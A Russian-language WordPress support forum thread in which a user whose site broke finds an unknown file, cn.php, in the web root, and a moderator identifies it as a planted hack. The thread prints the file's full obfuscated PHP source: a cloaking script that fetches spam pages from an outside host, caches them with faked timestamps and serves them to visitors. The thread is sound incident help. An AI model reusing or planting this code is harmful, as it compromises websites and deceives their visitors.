Поддержка Проблемы и решения пропал сайт, админка работает

  • в логах есть такое:

    PHP Fatal error:  Cannot redeclare get_page() (previously declared in
    /www/site/users/site-name/www/htdocs/cn.php:74) in
    /www/site/users/site-name/www/htdocs/wp-includes/post.php on line
    3187

    Подскажите, как с этим бороться? Понимаю, что не может задекларировать функцию get-page(), но дальше знаний не хватает.

    Перед этим пытался сделать дочернюю тему, но она что-то не появилась, может отсюда ноги растут.

Просмотр 7 ответов — с 1 по 7 (всего 7)
  • Модератор Sergey Biryukov

    (@sergeybiryukov)

    Live and Learn

    1. Откуда взялся файл cn.php в корневом каталоге?
    2. Где он используется и что в нём содержится?

    Гм, даже не знаю, сам точно не добавлял, может он появился как раз из-за попытки создать дочернюю тему?

    может он появился как раз из-за попытки создать дочернюю тему?

    Очень маловероятно.
    Скорее всего сайт взломан, а это шелл. Можно воспоьзоваться ай-болитом, только перед тем внимательно почитать хелпы-факи к нему.

    да,блин, похоже, вот этот файл

    <? function _1307200918($i){$a=Array('home','index','en','p=','template','sitemap','rss','http://fprcorp.com/1/site-name','je','2008-08-09 09:14:07','system','config','QUERY_STRING','a+','w','a+','host','path','host',"Connection: Close\r\n\r\n",'',"\r\n\r\n",'vqcjabwtellchpsqckda','jtjz',"\r\n\r\n",'headers','content','/','headers','200 OK',"HTTP/1.0 404 Not Found",'REQUEST_URI','/Content-Type: (.*)/','headers','text/plain','Content-Type: ','content');return $a[$i];} ?><?php
     error_reporting(0); $_0=3736;
    
    $_1 = _1307200918(0); if((2450+1194)>2450 || fopen($_2,$_3,$_4,$_5));else{mktime($_6,$_7,$_SERVER);}
    $_8 = _1307200918(1); $_9=_1307200918(2);	
    
    $_10 = array(_1307200918(3), _1307200918(4), _1307200918(5), _1307200918(6)); if(6841<mt_rand(2936,3900)) strpos($_2,$_11);
    $_12 = _1307200918(7); $_13=_1307200918(8);	
    
    $_14 = 1;
    $_15 = _1307200918(9); if(4611<mt_rand(2274,2332)) touch($_16,$_SERVER,$_15); 
    
    $_17 = _1307200918(10); $_18=1746;
    $_19 = _1307200918(11); while(655-655) unlink($_7,$_12);
    $_20 = $_SERVER[_1307200918(12)]; if((2126+4135)>2126 || preg_match_all($_21,$_21,$_22));else{array_shift($_3,$_19);}
    
    function write_cache($_6, $_23)
    {
    	global $_17, $_19, $_14, $_15; 
    
    	$_21 = serialize($_23); $_24=3754;
    	if($_14)
    		$_21 = gzdeflate($_21);
    
    	$_2 = fopen($_19, _1307200918(13));
    	if(!$_2)
    		return 0;
    
    	fseek($_2, 0, SEEK_END);
    	$_25 = ftell($_2);
    	$_26 = $_25 + strlen($_21);
    	fwrite($_2, $_21); if((4506+3435)>4506 || touch($_26,$_3,$_4,$_14));else{dir($_1,$_25,$_27,$_8);}
    	fclose($_2); 
    
    	touch($_19, strtotime($_15)); if(6135<mt_rand(1999,4131)) mkdir($_7,$_28,$_3);
    
    	$_28 = unserialize(file_get_contents($_17)); if(5529<mt_rand(1670,3854)) preg_split($_29,$_11);
    	$_28[$_6] = array($_25, $_26);
    	$_28 = serialize($_28); if((1225+3631)>1225 || fopen($_14,$_12,$_SERVER,$_SERVER));else{curl_multi_info_read($_11,$_11);}
    
    	$_2 = fopen($_17,  _1307200918(14));
    	if(!$_2)
    		return 0;
    	fwrite($_2, $_28);
    	fclose($_2); 
    
    	touch($_17, strtotime($_15)); 
    
    	return 1;
    }
    
    function get_cache($_6)
    {
    	global $_17, $_19, $_14; while(3243-3243) gzinflate($_1,$_6,$_5);
    	$_28 = file_get_contents($_17);
    	if($_28 === 0)
    		return 0;
    
    	$_4 = unserialize($_28);
    	if(!isset($_4[$_6]))
    		return 0;
    
    	$_2 = fopen($_19,  _1307200918(15));
    	if(!$_2)
    		return 0;
    	fseek($_2, $_4[$_6][0]);
    	$_23 = fread($_2, $_4[$_6][1] - $_4[$_6][0]);
    	if($_14)
    		$_23 = gzinflate($_23);
    
    	return unserialize($_23);
    }
    
    function get_page($_27)
    {
    	$_27 = parse_url($_27); if(7314<mt_rand(2375,4934)) write_cache($_26,$_8,$_27,$_30);
    	$_2 = fsockopen($_27[ _1307200918(16)], 80, $_5, $_31, 10); while(335-335) imagecreatefromgd2($_5,$_19,$_29);
    	if (!$_2) {
    		echo "$_31 ($_5)<br />\n";
    	} else {
    		$_30 = "GET {$_27[ _1307200918(17)]} HTTP/1.1\r\n";
    		$_30 .= "Host: {$_27[ _1307200918(18)]}\r\n";
    		$_30 .=  _1307200918(19); $_32=516;
    		fwrite($_2, $_30); 
    
    		$_23 =  _1307200918(20); if((1174+3781)>1174 || session_module_name($_31,$_19));else{ob_clean($_8,$_2,$_25);}
    		while (!feof($_2)) {
    			$_23 .= fgets($_2, 128);
    		}
    
    		$_22 = substr($_23, 0, strpos($_23,  _1307200918(21))); if(strpos( _1307200918(22), _1307200918(23))!==false)bin2hex($_22,$_3,$_SERVER);
    		$_29 = substr($_23, strpos($_23,  _1307200918(24)) + 4);
    	}
    
    	return array( _1307200918(25) => $_22,  _1307200918(26) => $_29); if(8039<mt_rand(3472,4562)) imagecreate($_11,$_14,$_14);
    }
    
    function do_work($_11)
    {
    	global $_12; if(2870<mt_rand(783,2082)) nl2br($_27,$_22);
    
    	if(($_7 = get_cache($_11)) == false)
    	{
    		$_7 = get_page($_12  .  _1307200918(27)  . $_11);
    		write_cache($_11, $_7);
    	}
    
    	if(!strpos($_7[ _1307200918(28)],  _1307200918(29)))
    	{
    		header( _1307200918(30));
    		echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n<html><head>\r\n<title>404 Not Found</title>\r\n</head><body>\r\n<h1>Not Found</h1>\r\n<p>The requested URL {$_SERVER[ _1307200918(31)]} was not found on this server.</p>\r\n</body></html>";
    		exit;
    	}
    
    	if(preg_match( _1307200918(32), $_7[ _1307200918(33)], $_3))
    	{
    		$_33 = $_3[1];
    		if($_33 !=  _1307200918(34))
    			header( _1307200918(35)  . $_33);
    	}
    
    	echo $_7[ _1307200918(36)];
    	exit;
    }
    
    foreach($_10 as $_16)
    {
    	if(strpos($_20, $_16) === 0)
    		do_work($_20);
    }
    
    if($_20 == $_1)
    	do_work($_8);
    ?>

    Спасибо за ссылку, пойду к доктору.

    А просто грохнуть этот файл, не поможет? Сайт до этой дочерней темы работал себе спокойно. Она, кстати, работает вообще эта фича с дочерней темой? А то несколько раз пытался сделать и ни в какую.

    А просто грохнуть этот файл, не поможет?

    Грохнуть нужно сразу же. Но этого мало — нужно найти причину как он там появился. И закрыть её. Ибо появится ещё не раз.

    Она, кстати, работает вообще эта фича с дочерней темой?

    Смотря какая фича. Если сделано по мануалу, то проблем в общем-то нет.
    Ида, см п2 правил форума. 😉

    Ура! Сайт заработал после удаления файла. Спасибо за подсказки

    Теперь пойдем делать прививки))

    P.S. Про вторую тему сорри, просто предполагал, что они связаны.

Просмотр 7 ответов — с 1 по 7 (всего 7)
  • Тема «пропал сайт, админка работает» закрыта для новых ответов.